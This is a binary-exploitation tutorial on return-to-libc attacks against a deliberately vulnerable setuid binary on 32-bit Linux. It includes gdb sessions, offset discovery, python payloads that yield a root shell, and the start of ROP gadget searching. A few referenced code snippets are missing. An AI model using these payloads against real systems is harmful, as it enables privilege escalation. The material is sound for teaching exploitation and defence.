Binary Exploitation Hacking Tutorials

Return to libc on modern 32 bit and 64 bit Linux

What’s up guys. In our last post we learned how to do stack based buffer overflow on a 64 bit Linux system. But we had most of protection mechanisms disabled. So we easily exploited the binary by loading our shellcode on stack and executing it by overwriting the return pointer with address of shellcode. Ultimately we executed code from stack. If you haven’t read last post yet I recommend to read that first then start this.

Now what if the stack is made non-executable. It means you may load shellcode in stack and overwrite return pointer, but you can’t execute it.

Okay so we can’t execute on stack. But we still control return pointer and can point it to some area in memory which is executable. And if we can find same cpu instructions as of our shellcode in that area we can get a shell. Though we may not get all instructions at one address only but we can try to chain them. Sounds cool.
Image result for warning assembly required
By this time you must be familiar with at least basic instructions in assembly like push,pop,mov,lea,ret,etc and able to visualize layout of stack and registers after each instruction. If not you might feel lost further. Though I will still try to explain as much I can.

In this post first we will be doing classic return to libc attack on an old 32 bit linux and then on modern 32 bit and 64 bit linux. Also learn about Return Oriented Programming(ROP) and ROP chaining.

Old 32 bit Linux

We will be using same vulnerable source code as previous article but this time will keep the stack non-executable. Compile and setuid-root flag to binary . ASLR is turned off.
sudo nano /proc/sys/kernel/randomize_va_space set to ‘0’.

[email protected]:~$ gcc buf.c -o buf -fno-stack-protector
[email protected]:~$ sudo chown root buf
[email protected]:~$ sudo chmod +s buf

This time we don’t have -z execstack flag. So the stack doesn’t has NX bit on. Verify it with

[email protected]:~$ objdump -p buf
buf: file format elf32-i386
buf
architecture: i386, flags 0x00000112:
EXEC_P, HAS_SYMS, D_PAGED
start address 0x08048340

Program Header:
PHDR off 0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2
filesz 0x000000e0 memsz 0x000000e0 flags r-x
INTERP off 0x00000114 vaddr 0x08048114 paddr 0x08048114 align 2**0
filesz 0x00000013 memsz 0x00000013 flags r--
LOAD off 0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
filesz 0x00000514 memsz 0x00000514 flags r-x
LOAD off 0x00000514 vaddr 0x08049514 paddr 0x08049514 align 2**12
filesz 0x0000010c memsz 0x00000114 flags rw-
DYNAMIC off 0x00000528 vaddr 0x08049528 paddr 0x08049528 align 2**2
filesz 0x000000d0 memsz 0x000000d0 flags rw-
NOTE off 0x00000128 vaddr 0x08048128 paddr 0x08048128 align 2**2
filesz 0x00000044 memsz 0x00000044 flags r--
STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
filesz 0x00000000 memsz 0x00000000 flags rw-  <======Only read and write permissions for stack

Let’s load it in gdb and disassemble it. The addresses now are just 4 bytes(4*8=32bits) since it is a 32 bit elf executable.

(gdb) disas main
Dump of assembler code for function main:
0x080483f4 <main+0>:  push ebp
0x080483f5 <main+1>:  mov ebp,esp                   ; prologue
0x080483f7 <main+3>:  and esp,0xfffffff0            ; and operation sets last digit in esp to 0
0x080483fa <main+6>:  add esp,0xffffff80            ; Allocate 0x80 bytes stack space
0x080483fd <main+9>:  mov eax,DWORD PTR [ebp+0xc]   ; eax=value of [ebp+0xc]
0x08048400 <main+12>: add eax,0x4                  ; eax=eax+0x4
0x08048403 <main+15>: mov eax,DWORD PTR [eax]      ; eax=value at addr eax
0x08048405 <main+17>: mov DWORD PTR [esp+0x4],eax  ; value of [esp+0x4]=eax - arg for strcpy  
0x08048409 <main+21>: lea eax,[esp+0x1c]           ; eax=addess of [esp+0x1c] 
0x0804840d <main+25>: mov DWORD PTR [esp],eax      ; value at addr [esp]= eax - arg for strcpy
0x08048410 <main+28>: call 0x8048320 <[email protected]>  ; call strcpy function
0x08048415 <main+33>: mov eax,0x8048500            ; eax=0x8048500 arg-"Input was: %s\n"
0x0804841a <main+38>: lea edx,[esp+0x1c]           ; edx=address of [esp+0x1c]
0x0804841e <main+42>: mov DWORD PTR [esp+0x4],edx  ; value at [esp+0x4]= edx - addr of buf[100]
0x08048422 <main+46>: mov DWORD PTR [esp],eax      ; value at [esp]=eax - "Input was: %s\n"
0x08048425 <main+49>: call 0x8048330 <[email protected]>  ; call printf function
0x0804842a <main+54>: mov eax,0x0                  ; eax=0x0
0x0804842f <main+59>: leave                        ; prologue
0x08048430 <main+60>: ret 
End of assembler dump.

One difference you might see from 64 bit disassembly is that the arguments for functions are loaded on top of stack. For example see line *main+42 and 46.
May be this property can be helpful to us in future exploitation. Now we need to figure out offset for return address to point to some executable area in memory and chain few instructions for arbitrary code execution. First we will find out Process id for our process with print getpid() in gdb and see process maps for our process with shell cat /proc/$pid/maps or info proc maps.

(gdb) p getpid()
$1 = 1864
(gdb) shell cat /proc/1864/maps
08048000-08049000 r-xp 00000000 00:10 5732       /home/user/buf
08049000-0804a000 rw-p 00000000 00:10 5732       /home/user/buf
b7e96000-b7e97000 rw-p 00000000 00:00 0 
b7e97000-b7fd5000 r-xp 00000000 00:10 759        /lib/libc-2.11.2.so
b7fd5000-b7fd6000 ---p 0013e000 00:10 759        /lib/libc-2.11.2.so
b7fd6000-b7fd8000 r--p 0013e000 00:10 759        /lib/libc-2.11.2.so
b7fd8000-b7fd9000 rw-p 00140000 00:10 759        /lib/libc-2.11.2.so
b7fd9000-b7fdc000 rw-p 00000000 00:00 0 
b7fe0000-b7fe2000 rw-p 00000000 00:00 0 
b7fe2000-b7fe3000 r-xp 00000000 00:00 0          [vdso]
b7fe3000-b7ffe000 r-xp 00000000 00:10 741        /lib/ld-2.11.2.so
b7ffe000-b7fff000 r--p 0001a000 00:10 741        /lib/ld-2.11.2.so
b7fff000-b8000000 rw-p 0001b000 00:10 741        /lib/ld-2.11.2.so
bffeb000-c0000000 rw-p 00000000 00:00 0          [stack]

What’s that libc.so ?

C Standard Library – libc

Let’s read man page for it, 'man libc'.
The term "libc" is commonly used as a shorthand for the "standard C library", a library of standard functions that can be used by all C programs (and sometimes by programs in other languages).
So it consists functions, type definitions, header files for string handling, mathematical operations, I/O, etc tasks and linux OS operating services. Your functions like printf, strcpy, execve, system, etc are defined in it. When such function is called by your program this library is dynamically linked to it. Then your program knows how to carry out operations for that function. We will read more about how it is dynamically linked in ret2plt and ret2got exploits.

So it even contains instructions for functions like execve, execl, system,etc. And we know that with proper arguments we can (ab)use them to execute a shell. Let’s try it. First find the offset of return address.

(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2A
Starting program: /home/user/buf Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2A
Input was: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2A

Program received signal SIGSEGV, Segmentation fault.
0x64413764 in ?? ()

[email protected]:~$ /opt/metasploit/tools/exploit/pattern_offset.rb -q 64413764
[*] Exact match at offset 112

We can call “/bin/sh” with execve or system, but execve takes 2 arguments as NULL, and since our vulnerable code uses strcpy we can’t get null bytes on stack directly. We will see how to get null bytes on stack further in this post. For now let’s just use system. We will also use Python Exploit Development Assistant (PEDA) for gdb this time. You can install it from it’s github page here.

A code for function system to execute /bin/sh will look like this.

Compiling and executing it will give you a /bin/sh shell. Let’s load it in gdb, set breakpoint at function call and see how arguments are passed to it.

gdb-peda$ disas main
Dump of assembler code for function main:
   0x080483c4 <+0>:	push   ebp
   0x080483c5 <+1>:	mov    ebp,esp
   0x080483c7 <+3>:	and    esp,0xfffffff0
   0x080483ca <+6>:	sub    esp,0x10
   0x080483cd <+9>:	mov    DWORD PTR [esp],0x80484a0
   0x080483d4 <+16>:	call   0x80482ec <[email protected]>
   0x080483d9 <+21>:	leave  
   0x080483da <+22>:	ret    
End of assembler dump.
gdb-peda$ b *main+16
Breakpoint 1 at 0x80483d4
gdb-peda$ r
Starting program: /home/archer/compiler_tests/sys 
[----------------------------------registers-----------------------------------]
EAX: 0xf7f98d98 --> 0xffffd0fc 
EBX: 0x0 
ECX: 0xb73f45c0 
EDX: 0xffffd084 --> 0x0 
ESI: 0xf7f96e28 --> 0x1ced30 
EDI: 0x0 
EBP: 0xffffd058 --> 0x0 
ESP: 0xffffd040 --> 0x80484a0 ("/bin/sh")
EIP: 0x80483d4 (<main+16>:	call   0x80482ec <[email protected]>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80483c7 <main+3>:	and    esp,0xfffffff0
   0x80483ca <main+6>:	sub    esp,0x10
   0x80483cd <main+9>:	mov    DWORD PTR [esp],0x80484a0
=> 0x80483d4 <main+16>:	call   0x80482ec <[email protected]>
   0x80483d9 <main+21>:	leave  <=return address for function 'system'
   0x80483da <main+22>:	ret    
   0x80483db:	nop
   0x80483dc:	nop
Guessed arguments:
arg[0]: 0x80484a0 ("/bin/sh")
[------------------------------------stack-------------------------------------]
0000| 0xffffd040 --> 0x80484a0 ("/bin/sh")
0004| 0xffffd044 --> 0x80481e4 --> 0x30 ('0')
0008| 0xffffd048 --> 0x80483fb (<__libc_csu_init+11>:	add    ebx,0x1199)
0012| 0xffffd04c --> 0x0 
0016| 0xffffd050 --> 0xf7f96e28 --> 0x1ced30 
0020| 0xffffd054 --> 0xf7f96e28 --> 0x1ced30 
0024| 0xffffd058 --> 0x0 
0028| 0xffffd05c --> 0xf7de0793 (<__libc_start_main+243>:	add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x080483d4 in main ()

Hmm. It takes one argument from top of stack that is address of string “/bin/sh”. One more thing to notice is whenever a function is called it takes the next address as it’s return address. So when the function is done execution, the program couter will point back to return address. Here it will return to *main+21 i.e. 0x80483d9. To call system and execute shell we need to load proper arguments on stack and overwrite return address of vulnerable program with address of system function in libc. Sounds doable. Load the vulnerable program back in gdb and run it once with a breakpoint so that libc is dynamically linked. Time to find address of system function.

(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>

Great. Now let’s see how our payload must look like.

payload = 112 bytes of junk + system + return address for system + address of "/bin/sh"

We have address of system. Return address for system can be anything but if it’s invalid address it might give segmentation fault after exitting shell as eip will try reading from it. Here I will return it to exit function so that after executing shell the program will exit without errors.

(gdb) p exit
$2 = {<text variable, no debug info>} 0xb7ec60c0 <*__GI_exit>

Third thing we need to find is address of “/bin/sh” string. Let’s see if it can be found in libc library.

[email protected]:~$ strings -t x /lib/libc.so.6 | grep "/bin/sh"
 11f3bf /bin/sh

Got it. The strings command will print all strings in /lib/libc.so.6.
-t x flag will print offset of each string in hexadecimal.
Pipe it to grep command which will print line containing “/bin/sh”
Great. Offset of /bin/sh is 0x11f3bf  in libc. To find exact address just add that to base of libc we found in process maps. x/s will print value in that address as string.

(gdb) x/s 0xb7e97000+0x11f3bf
0xb7fb63bf:	 "/bin/sh"

You can also view process mappings in peda with vmmap.

gdb-peda$ vmmap
Start    End      Perm  Name
08048000 08049000 r-xp /home/user/buf
08049000 0804a000 rw-p /home/user/buf
b7e96000 b7e97000 rw-p /home/user/buf
b7e97000 b7fd5000 r-xp /lib/libc-2.11.2.so
b7fd5000 b7fd6000 ---p /lib/libc-2.11.2.so
b7fd6000 b7fd8000 r--p /lib/libc-2.11.2.so
b7fd8000 b7fd9000 rw-p /lib/libc-2.11.2.so
b7fd9000 b7fdc000 rw-p mapped
b7fe0000 b7fe2000 r--p [vvar]
b7fe2000 b7fe3000 r-xp [vdso]
b7fe3000 b7ffe000 r-xp /lib/ld-2.11.2.so
b7ffe000 b7fff000 r--p /lib/ld-2.11.2.so
b7fff000 b8000000 rw-p /lib/ld-2.11.2.so
bffeb000 c0000000 rw-p [stack]

Time to make final payload and run. Remember to enter address in little endian.

[email protected]:~$ ./buf `python -c "print 'A'*112 + '\xb0\xff\xec\xb7'+'\xc0\x60\xec\xb7' + '\xbf\x63\xfb\xb7'"`
Input was: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�����`췿c��
# id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
# whoami
root
# exit
[email protected]:~$

Bingo we have a root shell and it didn’t even require us to load a shellcode also we exited without error. If you fill return address for system function with random 4 bytes you might see Segmentation fault. Since this was an old 32 bit linux we didn’t have to worry about setuid(0);  Also the libc addresses won’t change outside gdb so you need not to worry about them. This was fairly easy. Time for a modern 32 bit compiled binary which might have few more protection mechanisms.

Modern 32 bit ELF Binary

This time I will compile the same binary for 32 bit architecture on modern compiler. I am using 64 bit Ubuntu 17.10 for compilation so there will be-m32 flag for compiler to force 32 bit architecture. You might wanna install gcc-multilib first for 32 bit compilation on 64 bit. ASLR and stack canaries are still disabled.

[email protected]:~$ cat /proc/sys/kernel/randomize_va_space
0
[email protected]:~$ gcc buf.c -o buf -m32 -fno-stack-protector
[email protected]:~$ sudo chown root buf
[email protected]:~$ sudo chmod +s buf

Load it in gdb and disassemble. I have explained each instruction on right. You may not need to know each and every instruction for exploit. Just visualizing changes in layout of stack and registers at key instructions is enough. You can also check the security protections in binary with checksec command in PEDA.

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : FULL
gdb-peda$ disas main
Dump of assembler code for function main:
   0x0000054d <+0>:	lea    ecx,[esp+0x4]           ; ecx = address of [esp+0x4]
   0x00000551 <+4>:	and    esp,0xfffffff0          ; and operation on esp.
   0x00000554 <+7>:	push   DWORD PTR [ecx-0x4]     ; push value at [ecx-0x4] i.e. esp on stack
   0x00000557 <+10>:	push   ebp                     ; push ebp on stack
   0x00000558 <+11>:	mov    ebp,esp                 ; ebp=esp
   0x0000055a <+13>:	push   ebx                     ; push ebx on stack
   0x0000055b <+14>:	push   ecx                     ; push ecx onstack
   0x0000055c <+15>:	sub    esp,0x70                ; allocate 0x70=112 bytes on stack
   0x0000055f <+18>:	call   0x450 <__x86.get_pc_thunk.bx>
   0x00000564 <+23>:	add    ebx,0x1a70              ; ebx=ebx+0x1a70
   0x0000056a <+29>:	mov    eax,ecx                 ; eax=ecx
   0x0000056c <+31>:	mov    eax,DWORD PTR [eax+0x4] ; eax = value at addr [eax+0x4]
   0x0000056f <+34>:	add    eax,0x4                 ; eax=eax+4
   0x00000572 <+37>:	mov    eax,DWORD PTR [eax]     ; eax= value at addr [eax]
   0x00000574 <+39>:	sub    esp,0x8                 ; esp=esp-0x8
   0x00000577 <+42>:	push   eax                     ; push eax on stack
   0x00000578 <+43>:	lea    eax,[ebp-0x6c]          ; load effective addr of [ebp-0x6c] to eax
   0x0000057b <+46>:	push   eax                     ; push eax on stack
   0x0000057c <+47>:	call   0x3e0 <[email protected]>      ; call strcpy function
   0x00000581 <+52>:	add    esp,0x10                ; esp=esp+0x10
   0x00000584 <+55>:	sub    esp,0x8                 ; esp=esp-0x8
   0x00000587 <+58>:	lea    eax,[ebp-0x6c]          ; load effective addr of [ebp-0x6c] to eax
   0x0000058a <+61>:	push   eax                     ; push eax on stack
   0x0000058b <+62>:	lea    eax,[ebx-0x19a4]        ; load effective addr of [ebx-0x19a4] to eax
   0x00000591 <+68>:	push   eax                     ; push eax on stack
   0x00000592 <+69>:	call   0x3d0 <[email protected]>      ; call printf function
   0x00000597 <+74>:	add    esp,0x10                ; esp=esp+0x10
   0x0000059a <+77>:	mov    eax,0x0                 ; eax=0x0
   0x0000059f <+82>:	lea    esp,[ebp-0x8]           ; load effective addr of [ebp-0x8] to esp
   0x000005a2 <+85>:	pop    ecx                     ; pop top of stack to ecx
   0x000005a3 <+86>:	pop    ebx                     ; pop top of stack to ebx
   0x000005a4 <+87>:	pop    ebp                     ; pop top of stack to ebp
   0x000005a5 <+88>:	lea    esp,[ecx-0x4]           ; load effective addr of [ecx-0x4] to esp
   0x000005a8 <+91>:	ret
End of assembler dump.

Well this seems pretty different from our previous disassembly. There seems to be an additional protection mechanism. Instead of directly pusing ebp and saving esp in ebp and changing it back with leave instruction, here address of [esp+0x4] is first stored in ecx, then restored at last. Also ecx is pushed on stack then poped back at last. It means if we overflow buffer we might overwrite ecx with some random junk and esp will never point back to proper address at end. We won’t even be able to call functions like system to execute our shell because ecx contains junk from buffer. After esp is loaded at some random address with instruction lea esp,[ecx-0x4], the next instruction ret will pop the address at top of stack and eip will then point to it.

Wait. Did I just stay ecx is on stack and our buffer can overwrite it ? Great, we can find offset of ecx, overwrite it and make it point to correct [esp+0x4] address. We control ecx, so we also control esp which points to top of stack. We don’t even need to worry about return pointer cause the next ret instruction will pop value at top of stack and eip will point to that value.
Lost ? Don’t worry you will understand in practical. First load the program in gdb and calculate offset for ecx.

gdb-peda$ r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2A
Starting program: /home/virtual/buf Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2A
Input was: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2A

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x35644134 ('4Ad5')
ECX: 0x64413364 ('d3Ad')
EDX: 0xf7fb6894 --> 0x0 
ESI: 0x2 
EDI: 0xf7fb5000 --> 0x1ced70 
EBP: 0x41366441 ('Ad6A')
ESP: 0x64413360 ('`3Ad')
EIP: 0x565555a8 (<main+91>:	ret)
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x565555a3 <main+86>:	pop    ebx
   0x565555a4 <main+87>:	pop    ebp
   0x565555a5 <main+88>:	lea    esp,[ecx-0x4]
=> 0x565555a8 <main+91>:	ret    
   0x565555a9:	xchg   ax,ax
   0x565555ab:	xchg   ax,ax
   0x565555ad:	xchg   ax,ax
   0x565555af:	nop
[------------------------------------stack-------------------------------------]
Invalid $SP address: 0x64413360
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x565555a8 in main ()

ecx is 0x64413364. As you can see stack pointer also points to [ecx-0x4] i.e. 0x64413360. So we are correct. We control ecx and also the esp.

[email protected]:~$ /opt/metasploit/tools/exploit/pattern_offset.rb -q 64413364
[*] Exact match at offset 100

So ecx is located just after buf[100]. Let’s visualize it. I have also marked how we want it to look like after our exploit.

What we want is to get address of system on top of stack as top of stack will be return address for ret instruction, followed by it’s arguments like we did last time. And we control top of stack. After instruction at *main+88 the esp will be [ecx-0x4]. This is what our payload will be.

payload = 100 bytes junk + address of esp+0x4 +|system + exit + addr of /bin/sh
                                               ^---we want esp to point here.

Time to find the unknowns.

gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e22d60 <system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7e16070 <exit>
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xf7f5c311 ("/bin/sh")

Found system and exit function. This time i just used find command in gdb-peda to search for string “/bin/sh”. It found it in libc. Here we execute /bin/sh with system. If you want to execute some other command and you can’t find it in libc then you can export it as environment variable and find it’s address using find command, like we did in previous article. It can be on stack as we just need to read the argument.

Missing thing now is desired stack address. Let’s run the exploit with current payload and random bytes in place of ecx. Set breakpoint at *main+85 to view stack before ecx is popped out.

payload = 100*'A' +'BBBB' + '\x60\x2d\xe2\xf7' + '\x70\x60\xe1\xf7' + '\x11\xc3\xf5\xf7'")
gdb-peda$ b *main+85
Breakpoint 3 at 0x565555a2
gdb-peda$ r $(python -c "print 'A'*100+'BBBB'+'\x60\x2d\xe2\xf7'+'\x70\x60\xe1\xf7'+'\x11\xc3\xf5\xf7'")
Starting program: /home/virtual/buf $(python -c "print 'A'*100+'BBBB'+'\x60\x2d\xe2\xf7'+'\x70\x60\xe1\xf7'+'\x11\xc3\xf5\xf7'")
Input was: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB`-��p`�����


[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x56556fd4 --> 0x1edc 
ECX: 0x80 
EDX: 0xf7fb6894 --> 0x0 
ESI: 0x2 
EDI: 0xf7fb5000 --> 0x1ced70 
EBP: 0xffffd248 --> 0xf7e16070 (<exit>:	call   0xf7f184b9)
ESP: 0xffffd240 ("BBBB`-\342\367p`\341\367\021\303\365", )
EIP: 0x565555a2 (<main+85>:	pop    ecx)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x56555597 <main+74>:	add    esp,0x10
   0x5655559a <main+77>:	mov    eax,0x0
   0x5655559f <main+82>:	lea    esp,[ebp-0x8]
=> 0x565555a2 <main+85>:	pop    ecx
   0x565555a3 <main+86>:	pop    ebx
   0x565555a4 <main+87>:	pop    ebp
   0x565555a5 <main+88>:	lea    esp,[ecx-0x4]
   0x565555a8 <main+91>:	ret
[------------------------------------stack-------------------------------------]
0000| 0xffffd240 --> ("BBBB`-\342\367p`\341\367\021\303\365", )
0004| 0xffffd244 --> 0xf7e22d60 (<system>:	sub    esp,0xc)
0008| 0xffffd248 --> 0xf7e16070 (<exit>:	call   0xf7f184b9)
0012| 0xffffd24c --> 0xf7f5c311 ("/bin/sh")
0016| 0xffffd250 --> 0x0 
0020| 0xffffd254 --> 0xf7fb5000 --> 0x1ced70 
0024| 0xffffd258 --> 0x0 
0028| 0xffffd25c --> 0xf7dfe986 (<__libc_start_main+246>:	add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 3, 0x565555a2 in main ()

System is at 0xffffd244. We want our esp to point here. esp = [ecx-0x4] then [ecx] = esp+0x4.
Therefore ecx = 0xffffd244 + 0x4 = 0xffffd248.
Seems we have everything we want. Time for final run.

payload = 'A'*100+'\x48\xd2\xff\xff'+'\x60\x2d\xe2\xf7'+'\x70\x60\xe1\xf7'+'\x11\xc3\xf5\xf7'
gdb-peda$ r $(python -c "print 'A'*100+'\x48\xd2\xff\xff'+'\x60\x2d\xe2\xf7'+'\x70\x60\xe1\xf7'+'\x11\xc3\xf5\xf7'")
Starting program: /home/virtual/buf $(python -c "print 'A'*100+'\x48\xd2\xff\xff'+'\x60\x2d\xe2\xf7'+'\x70\x60\xe1\xf7'+'\x11\xc3\xf5\xf7'")
Input was: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH���`-��p`�����
[New process 5875]
process 5875 is executing new program: /bin/dash
[New process 5876]
process 5876 is executing new program: /bin/dash
$

Great we got shell. If you are wondering why it executed /bin/dash two times, it’s because system function actually executes command in format “/bin/sh -c <command>”. Here command is /bin/sh. You can read man page of system for more info.

Execute it outside gdb. Remember address of esp will change outside gdb. So you need to shift address of ecx in payload. One way to find offset is using a simple code like this.

Compile and run it once inside gdb and once outside. You will get a rough idea of change and it mostly works out, or just brute force it like this.

Let’s run it.

[email protected]:~$ python ret.py 
0x3b
Input was: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����`-��p`�����
0x3c
Input was: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����`-��p`�����
0x3d
Input was: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����`-��p`�����
0x3e
Input was: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����`-��p`�����
0x3f
Input was: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����`-��p`�����
0x40
Input was: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����`-��p`�����
$ id 
uid=1000(virtual) gid=1000(virtual) groups=1000(virtual),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),118(lpadmin),128(sambashare)
$ whoami
virtual
$

Cool it works. But again our privileges were dropped like last time. This isn’t what we want !


For that we need to execute setuid(0); first. But how ?

Return Oriented Programming

Remember how we used the code already in memory to execute our instructions and thus bypassing Data Execution Prevention ? Yeah I mean first we returned to function ‘system’, passed it few arguments and a return address, then after execution it returned to ‘exit’ function. That exactly is Return Oriented Programming. You can read more on it’s wiki here.

setuid function can also be found in libc library. So we can return to it and pass it proper arguments from stack. We want it to be setuid(0);. That means ‘0‘ must be the argument. But that is a NULL character ! Things get a bit tricky here. How can we get a null character, actually 4 null characters (0x00000000=4 bytes) on stack because strcpy funtion won’t copy NULL characters ?

How do functions like strcpy, gets, memcpy work ? If you read the man page and you will see that they take arguments like source address and destination address and copy bytes from source to destination. Hmmm. We can call these functions before setuid and overwrite the arguments for setuid with NULLs. We can’t use strcpy. It won’t copy null bytes. What about gets ? Let’s read it’s man page.

gets() reads a line from stdin into the buffer pointed to by s until either a 
terminating newline or EOF, which it replaces with a null byte ('\0').

So end of our string in ‘gets’ function is replaced by a null byte. What if we enter no input ? That means just a null byte will be passed to stack. Yeah we did it !

Remember this is not the only way. You should explore more and if you want you can share your ways with us in the comments. For example one way we are gonna learn in format string exploit.

So ‘gets‘ takes two arguments. One is it’s return address and next is destination address to write to. This is what our payload will look like.

payload = 'A'*100 + [esp-0x4] + 'B'*4 + gets + return address + dest + setuid + arg + system + exit + /bin/sh

In order to properly execute our exploit we need to get 4 null bytes as these four bytes will be arguments to setuid. Since only one null byte is passed on each call we will call ‘gets’ four times. But there’s a small problem in doing so. Think about it.

When we first call ‘gets’ it’s arguments are on stack. if we directly return to next ‘gets’ it’s arguments will be messed up. We need to somehow clear the stack for next function call.

Exactly. We will pop the top of stack first so that we can then return to next ‘gets’ function call. For that we need to find pop;ret instruction and return to it first. It will clear stack for us and then the ret instruction will set program counter to next address on top of stack. And again libc is great place to find such instruction. One way is like this.

[email protected]:~$ objdump -d -M intel /lib32/libc.so.6 | grep -B1 ret | grep pop -A1 -m 4
 1804b: 5f pop edi
 1804c: c3 ret 
--
 1816f: 5d pop ebp
 18170: c3 ret 
--
 181e6: 5e pop esi
 181e7: c3 ret 
--
 182b9: 5d pop ebp
 182ba: c3 ret

It finds four pop followed by ret instruction. Each set of such instructions is called ‘ROP Gadget‘. ROP gadgets aren’t just limited to pop; ret. They can be any series of instructions you want.

Processors are dumb

We know assembly is just mneumonics for such opcodes and processors start executing op-codes wherever they see them, even if it’s from middle of any other instruction. What I mean is suppose there’s an instruction which contains ‘5f’ followed by ‘c3’. If you point processor to ‘5fc3’ then it will execute instruction ‘pop edi; ret’  irrespective of the original instruction and go on. All we have to do is find ‘5f’ followed by ‘c3’ in libc. This way we can find even more gadgets.

[email protected]:~$ xxd -c1 -p /lib32/libc.so.6 | grep -n -B1 c3 | grep 5f -m3 -A1
98380-5f
98381:c3
--
102345-5f
102346:c3
--
102413-5f
102414:c3
[email protected]:~$ xxd -c1 -p /lib32/libc.so.6 | grep -n -B1 c3 | grep 5f -m3| awk '{printf"%x\n",$1-1}'
1804b
18fc8
1900c

What I did here is

  1. make a plain hexdump(-p) of libc one byte per line(-c1).
  2. Pipe it and find all occurences of c3 with offset(-n) and one line just behind(-B1) it.
  3. Pipe and check if that is 5f and print 3 such occurences(-m3) with one line after(-A1) it.
  4. print the offset for ‘5f'($1-1) in hexadecimal(%x).

Add the offset in libc base address and you will get your instructions.

gdb-peda$ x/2i 0xf7de6000+0x1804b
   0xf7dfe04b:	pop    edi
   0xf7dfe04c:	ret

